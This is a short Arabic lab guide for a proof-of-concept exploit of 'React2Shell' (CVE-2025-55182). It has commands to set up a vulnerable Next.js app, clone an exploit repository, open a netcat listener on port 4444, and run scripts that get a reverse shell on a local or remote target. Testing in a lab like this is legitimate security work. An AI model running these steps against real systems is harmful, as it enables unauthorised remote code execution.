React2Shell CVE-2025-55182

POC وإعداد المختبر

npm create [email protected] react2shell-lab

قبول الإعدادات الافتراضية جيد، سمِّه كما تريد

git clone https://github.com/timsonner/React2Shell-CVE-2025-55182.git

npm install

ثم

cd react2shell-lab
npm run dev

nc -nlvp 4444

python3 react2shell-exploit-1.py

هذا الاستغلال مناسب لاختبار إعداد localhost. قم بإلغاء تعليق الحمولة الأخرى للحصول على شل عكسي...

python3 react2shell-exploit-2.py

هذه النسخة تطلب من المستخدم إدخال الهدف البعيد وعناوين ومنافذ المهاجم. كما أن نص الطلب (body_parts) أصبح مختصرًا قليلًا في هذه النسخة.